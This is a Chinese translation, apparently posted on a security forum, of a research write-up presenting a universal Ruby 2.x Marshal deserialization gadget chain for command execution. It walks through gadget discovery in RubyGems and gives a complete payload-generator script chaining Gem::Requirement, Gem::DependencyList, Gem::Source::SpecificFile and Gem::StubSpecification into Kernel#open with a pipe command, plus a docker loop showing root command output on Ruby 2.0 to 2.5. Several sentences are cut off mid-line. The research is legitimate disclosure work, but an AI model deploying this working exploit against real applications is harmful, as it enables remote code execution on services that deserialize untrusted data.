Ruby 2.x gadget chain反序列化 RCE

風見鶏 / 2018-11-10 07:51:00 / 浏览数 3278 技术文章 技术文章 顶(0) 踩(0)

原文 : https://www.elttam.com.au/blog/ruby-deserialization/

介绍

这篇博文详细介绍了Ruby编程语言的任意反序列化漏洞，并公开发布了第一个通用工具链来实现Ruby 2.x的任意命令执行。下面将详细介绍反序列化问题和相关工作，发现可用的漏洞利用链，最后利用ruby序列化。

背景

序列化是将对象转换成一系列字节的过程，这些字节可以通过网络传输，也可以存储在文件系统或数据库中。这些字节包括重构原始对象所需的所有相关信息。这种重建过程

Marshal类具有"dump"和"load"的类方法，可以使用如下方式:

图一:Marshal.dump和Marshal.load的用法:

```
$ irb
>> class Person
>>   attr_accessor :name
>> end
=> nil

>> p = Person.new
=> #<Person:0x00005584ba9af490>

>> p.name = "Luke Jahnke"
=> "Luke Jahnke"

>> p
=> #<Person:0x00005584ba9af490 @name="Luke Jahnke">

>> Marshal.dump(p)
=> "\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET"

>> Marshal.load("\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET")
=> #<Person:0x00005584ba995dd8 @name="Luke Jahnke">
```

不可信数据反序列化的问题

当开发人员错误地认为攻击者无法查看或篡改序列化的对象(因为它是不透明的二进制格式)时，就会出现常见的安全漏洞。这可能导致向攻击者公开对象中存储的任何敏感信

代码重用攻击也可能发生在已经可用的代码片段(称为gadget)被执行以执行不想要的操作(如执行任意系统命令)时。由于反序列化可以将实例变量设置为任意值，因此攻击者chain调用第二个gadget chain，因为经常调用存储在实例变量中的对象。当一系列的小玩意以这种方式连在一起时，就叫做工具链。

以前的payloads

不安全反序列化在OWASP的2017年十大最关键的Web应用程序安全风险排行榜上排名第八，但是关于为Ruby构建工具链的详细信息却很少公布。然而，在攻击Ruby on Rails应用程序的Phrack论文中可以找到一个很好的参考，Phenoelit的joernchen在2.1节中描述了一个由Charlie Somerville发现的工具链，它可以实现任意的代码执行。为了简洁起见，这里不再介绍该技术，但是前提条件如下。

- 必须安装并加载ActiveSupport gem
- 标准库中的ERB必须加载(默认情况下Ruby不加载)
- 反序列化之后，必须在反序列化对象上调用不存在的方法

虽然这些先决条件几乎肯定会在任何Ruby on Rails web应用程序的上下文中实现，但其他Ruby应用程序很少能实现这些先决条件。

所以，挑战已经被扔出来了。我们可以绕过所有这些先决条件，并实现任意代码执行吗?

寻找gadgets

由于我们想要创建一个没有依赖关系的gadget链，gadget只能从标准库中获取。应该注意的是，不是所有的标准库都默认加载。这大大限制了我们可以使用的利用链的数量2.5.3进行了测试，发现默认情况下加载了358个类。虽然这似乎很多，但仔细观察发现，这些类中有196个没有定义任何自己的实例方法。这些空类中的大多数都是用于区分

可用类的数量有限，这意味着找到能够增加加载的标准库数量的gadget或技术是非常有益的。一种技术是查找在调用时需要另一个库的gadget。这很有用，因为即使requir

图二:调用require方法的示例(lib/rubygems.rb)

```
module Gem
...
 def self.deflate(data)
   require 'zlib'
   Zlib::Deflate.deflate data
 end
...
end
```

如果上面的Gem.deflate方法包含在gadget链中，那么将加载Ruby标准库中的Zlib库，如下所示:

图三:全局名称空间被污染的演示

```
$ irb
>> Zlib
NameError: uninitialized constant Zlib
...

>> Gem.deflate("")
=> "x\x9C\x03\x00\x00\x00\x00\x01"

>> Zlib
=> Zlib
```

虽然标准库动态加载标准库的其他部分的例子有很多，但有一个实例指出，如果在系统上安装了第三方库，就会尝试加载它，如下所示:

图4:从加载第三方RBTree库(lib/set.rb)的标准库中分类的集合

```
...
class SortedSet < Set
...
 class << self
...
   def setup
...
         require 'rbtree'
```

下面的图显示了在需要未安装的库(包括其他库目录)时要搜索的位置的示例。

图5:当Ruby试图在没有安装RBTree的默认系统上加载RBTree时，strace的输出示例:

```
$ strace -f ruby -e 'require "set"; SortedSet.setup' |& grep -i rbtree | nl
    1  [pid    32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NO
    2  [pid    32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No
    3  [pid    32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1
...
  129  [pid    32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or d
  130  [pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT
  131  [pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOE
  132  [pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOE
  133  [pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No
  134  [pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT
  135  [pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT
  136  [pid    32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or dire
...
```

一个更有用的gadget是通过攻击者控制的参数来要求的。这个gadget将支持在文件系统上加载任意文件，从而提供标准库中的任何gadget的使用，包括查理•萨默维尔gad
gadget。虽然没有识别出允许完全控制require参数的gadget，但是下面可以看到一个允许部分控制的gadget示例

图6:允许控制部分require参数的gadget(ext/digest/lib/digest.rb)

```
module Digest
 def self.const_missing(name) # :nodoc:
   case name
   when :SHA256, :SHA384, :SHA512
     lib = 'digest/sha2.so'
   else
```

```
      lib = File.join('digest', name.to_s.downcase)
    end

    begin
      require lib
...
```

上面的示例无法使用，因为标准库中的任何Ruby代码都不会显式调用const_missing。这并不奇怪，因为constmissing是一个hook方法，在定义时，当引用未定义的常量时
@argument)，允许用任意参数对任意对象调用任意方法，显然允许调用上面的const_missing方法。但是，如果我们已经有了这样一个强大的gadget，我们就不再需要增加

const_missing方法也可以作为调用const_get的结果调用。Gem::Package类的摘要方法在文件lib/rubygems/
Package.rb文件中是一个合适的gadget，因为它在Digest模块上调用const_get(尽管任何上下文也可以工作)来控制参数。但是，const_get的默认实现对字符集执行严格的

另一种调用const_missing的方法是隐式地使用Digest::SOME_CONSTANT等代码。然而,Marshal.load不会以调用const_missing的方式执行常量解析。更多细节可以在Ru

另一个gadget也提供了对传递给require的参数的部分控制，如下所示：

```
class Gem::CommandManager
 def [](command_name)
   command_name = command_name.intern
   return nil if @commands[command_name].nil?
   @commands[command_name] ||= load_and_instantiate(command_name)
 end

 private

 def load_and_instantiate(command_name)
   command_name = command_name.to_s
...
       require "rubygems/commands/#{command_name}_command"
...
   end
 end
...
```

由于"_command"后缀以及没有识别出允许截断(即使用空字节)的技术，上面的示例也无法利用。"_command"后缀确实存在一些文件中，但由于发现了增加可用gadgets的

如下图所示，Rubygem库广泛使用了autoload方法：

图8:对autoload方法(lib/rubygems.rb)的大量调用

```
module Gem
...
 autoload :BundlerVersionFinder, 'rubygems/bundler_version_finder'
 autoload :ConfigFile,         'rubygems/config_file'
 autoload :Dependency,         'rubygems/dependency'
 autoload :DependencyList,     'rubygems/dependency_list'
 autoload :DependencyResolver, 'rubygems/resolver'
 autoload :Installer,          'rubygems/installer'
 autoload :Licenses,           'rubygems/util/licenses'
 autoload :PathSupport,        'rubygems/path_support'
 autoload :Platform,           'rubygems/platform'
 autoload :RequestSet,         'rubygems/request_set'
 autoload :Requirement,        'rubygems/requirement'
 autoload :Resolver,           'rubygems/resolver'
 autoload :Source,             'rubygems/source'
 autoload :SourceList,         'rubygems/source_list'
 autoload :SpecFetcher,        'rubygems/spec_fetcher'
 autoload :Specification,      'rubygems/specification'
 autoload :Util,               'rubygems/util'
 autoload :Version,            'rubygems/version'
...
end
```

autoload的工作方式与require类似，但只在首次访问已注册的常量时加载指定的文件。由于这种行为，如果这些常量中的任何一个包含在反序列化payload中，相应的文件

虽然autoload预计不会在Ruby 3.0的未来版本中继续使用，但是随着Ruby 2.5的发布，标准库中的使用增加了。在这个git
commit中引入了使用autoload的新代码，可以在下面的代码片段中看到:

图9:Ruby 2.5中引入的自动加载的新用法(lib/uri/generic.rb)

```
ObjectSpace.each_object do |clazz|
 if clazz.respond_to? :const_get
   Symbol.all_symbols.each do |sym|
     begin
       clazz.const_get(sym)
     rescue NameError
     rescue LoadError
     end
   end
 end
end
```

在运行了上面的代码之后，我们对提供gadget的可用类数量进行了新的评估，发现加载了959个类，比之前的值358增加了658个。在这些类中，至少定义了511实例方法，

初始化/启动 gadgets

每个gadget链的开始都需要一个gadget，该gadget将在反序列化期间或反序列化之后自动调用。这是执行下一步gadget的初始入口点，最终目标是实现任意代码执行或其

理想的初始gadget是由Marshal.load在反序列化时自动调用的。这消除了在反序列化后执行的代码进行防御检查和保护以防止恶意对象攻击的任何机会。我们怀疑在反序列

使用此信息，我们检查每个加载的类，并检查它们是否具有marshal_load实例方法。这是通过以下代码编程实现的。

图10：用于查找所有定义了marshal_load的类的ruby脚本

```
ObjectSpace.each_object(::Class) do |obj|
 all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods

 if all_methods.include? :marshal_load
   method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s

   puts obj
   puts "  marshal_load defined by #{method_origin}"
   puts "  ancestors = #{obj.ancestors}"
   puts
 end
end
```

剩余的gadgets

在研究过程中发现了许多gadget，但是在最终的gadget链中只使用了一小部分。为了简短起见，下面总结了一些有趣的内容:

图12：结合一个调用缓存方法的gadget链，这个gadget允许任意代码执行(lib/rubygems/source/gb.rb)

```
class Gem::Source::Git < Gem::Source
...
 def cache # :nodoc:
...
     system @git, 'clone', '--quiet', '--bare', '--no-hardlinks',
            @repository, repo_cache_dir
...
 end
...
```

图13:这个gadget可以用来让to_s返回除预期的字符串对象之外的内容(lib/rubygems/security/policy.rb)

```
class Gem::Security::Policy
...
 attr_reader :name
...
 alias to_s name # :nodoc:

end
```

图14:这个gadget可以用来让to_i返回期望的整数对象以外的内容(lib/ipaddr.rb)

```
class IPAddr
...
 def to_i
   return @addr
 end
```

```
...
```

图15:这段代码生成一个gadget链，当反序列化进入一个无限循环

```
module Gem
 class List
   attr_accessor :value, :tail
 end
end

$x = Gem::List.new
$x.value = :@elttam
$x.tail = $x

class SimpleDelegator
 def marshal_dump
   [
     :__v2__,
     $x,
     [],
     nil
   ]
 end
end

ace = SimpleDelegator.new(nil)

puts Marshal.dump(ace).inspect
```

打造gadget chain

创建gadget
chain的第一步是构建一个初始gadget池候选marshal_load，并确保它们对我们提供的对象调用方法。这很可能包含每个初始的gadget，因为Ruby中的"一切都是对象"。我

对于我的gadget chain，我选择了Gem:: requirements类，它的实现如下所示，并授予对任意对象调用each方法的能力。

图16:Gem::Requirement部分源代码(lib/rubygems/requirement.rb)参考注释：

```
class Gem::Requirement
 # 1) we have complete control over array
 def marshal_load(array)
   # 2) so we can set @requirements to an object of our choosing
   @requirements = array[0]

   fix_syck_default_key_in_requirements
 end

 # 3) this method is invoked by marshal_load
 def fix_syck_default_key_in_requirements
   Gem.load_yaml

   # 4) we can call .each on any object
   @requirements.each do |r|
     if r[0].kind_of? Gem::SyckDefaultKey
       r[0] = "="
     end
   end
 end

end
```

现在，我们可以调用each方法了，我们需要each方法的一个有用实现，以使我们更接近于任意命令的执行。在查看Gem::DependencyList(以及mixin
Tsort)的源代码后，发现对它的each实例方法的调用都会导致对它的@specs实例变量调用sort方法。这里不包括访问sort方法调用所采取的确切路径，但是可以通过以下命
Tracer类输出源级执行跟踪:

图17：验证Gem::DependencyList#每个在@specs.sort中的结果

```
$ ruby -rtracer -e 'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}' |& fgrep '@specs.sort'
#0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-:     specs = @specs.sort.reverse
```

有了这种对任意对象数组调用sort方法的新功能，我们可以利用它对任意对象调用<=>方法(spaceship operator)。这很有用，因为Gem::Source::SpecificFile有一个<=>方法的实现，当调用这个方法时，它可以在它的@spec实例变量上调用name方法，如下所示：

图18：Gem::Source::SpecificFile部分源码(lib/rubygems/source/specific_file.rb)

```
class Gem::Source::SpecificFile < Gem::Source
 def <=> other
   case other
   when Gem::Source::SpecificFile then
     return nil if @spec.name != other.spec.name # [1]

     @spec.version <=> other.spec.version
   else
     super
   end
 end

end
```

能在任意对象上调用name方法是所有过程的最后一步，因为Gem::StubSpecification有一个name方法，它调用它的data方法。然后data方法调用open方法，这实际上是K

图19：Gem::BasicSpecification部分源码
(lib/rubygems/basic_specification.rb)和 Gem::StubSpecification(lib/rubygems/stub_specification.rb):

```
class Gem::BasicSpecification
 attr_writer :base_dir # :nodoc:
 attr_writer :extension_dir # :nodoc:
 attr_writer :ignored # :nodoc:
 attr_accessor :loaded_from
 attr_writer :full_gem_path # :nodoc:
...
end

class Gem::StubSpecification < Gem::BasicSpecification

 def name
   data.name
 end

 private def data
   unless @data
     begin
       saved_lineno = $.

       # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.
       open loaded_from, OPEN_MODE do |file|
...
```

如相关文档中所述，当第一个参数的第一个字符是管道字符("|")时，Kernel.open可以用来执行任意系统命令。有趣的是，看看直接在open上方的TODO注释是否很快就能解

生成payload

下面的脚本用于生成和测试前面描述的gadget chain:

```
#!/usr/bin/env ruby

class Gem::StubSpecification
 def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
```

```
 def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
 def marshal_dump
   [$dependency_list]
 end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
 pipe.print payload
 pipe.close_write
 puts pipe.gets
 puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```

下面在一个空的Ruby进程上使用Bash命行验证并成功执行payload，据测试，版本2.0到2.5受到影响:

```
$ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a184
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
```

结论

本文探索并发布了一个通用gadget chain，它可以在Ruby 2.0到2.5版本中实现命令执行。

正如本文所阐述的，Ruby标准库的复杂知识在构建反序列化gadget chain方面非常有用。在将来的工作有很多机会，包括使该技术涵盖Ruby 1.8和1.9版本，以及使用命令行参数--disable-all调用Ruby进程的实例。还可以研究其他Ruby的实现，如JRuby和Rubinius。

有一些关于 Fuzzing Ruby C extensions和Breaking Ruby's Unmarshal with AFL-Fuzz，，包括代码审计的研究。在完成这项研究之后，似乎有足够的机会进一步研究marshal_load方法的代码实现。

在C语言中实现的marshal_load实例:

```
complex.c:    rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1);
iseq.c:    rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1);
random.c:    rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1);
rational.c:    rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1);
time.c:    rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1);
ext/date/date_core.c:    rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);
ext/socket/raddrinfo.c:    rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);
```

谢谢阅读!

上一篇：Metamorfo银行木马安全事件分析 下一篇：2018web安全测试秋季省赛Wr...

1. 0 条回复
   - 动动手指，沙发就是你的了！